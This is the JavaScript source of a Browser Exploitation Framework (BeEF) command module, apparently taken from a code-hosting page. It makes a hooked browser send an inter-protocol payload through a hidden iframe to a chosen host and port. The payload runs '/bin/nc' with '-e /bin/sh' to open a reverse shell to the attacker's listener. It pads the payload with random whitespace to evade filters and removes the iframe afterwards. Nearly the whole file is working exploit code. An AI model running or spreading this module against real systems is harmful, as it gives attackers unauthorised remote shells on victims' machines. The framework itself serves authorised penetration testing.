52 lines
1.4 KiB
JavaScript
52 lines
1.4 KiB
JavaScript
//
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// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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var rhost = '<%= @rhost %>';
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var rport = '<%= @rport %>';
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var lhost = '<%= @lhost %>';
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var lport = '<%= @lport %>';
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var payload_name = 'reverse_netcat';
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var timeout = 15;
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var peer = rhost + ':' + rport;
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cleanup = function() {
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try {
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document.body.removeChild(felix_exec_iframe_<%= @command_id %>);
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} catch(e) {
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beef.debug("Could not remove iframe: " + e.message);
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}
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}
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setTimeout("cleanup()", timeout*1000);
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payload = function() {
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var whitespace = '';
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for (var i=0; i<Math.floor(Math.random()*10)+3; i++) whitespace += ' ';
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var payload = '';
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switch (payload_name) {
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default: // "reverse_netcat":
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payload = 'exec "/bin/nc ' + lhost + ' ' + lport + ' -e /bin/sh" ';
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payload = payload.replace(/ /g, whitespace);
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break;
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}
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return payload
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}
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exploit = function() {
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var code = payload();
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beef.debug(peer + " - Sending payload (" + code.length + " bytes)");
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var felix_exec_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/", code);
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beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
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}
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try {
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exploit();
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} catch(e) {
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beef.debug(peer + " - Exploit failed: " + e.message);
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}
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});
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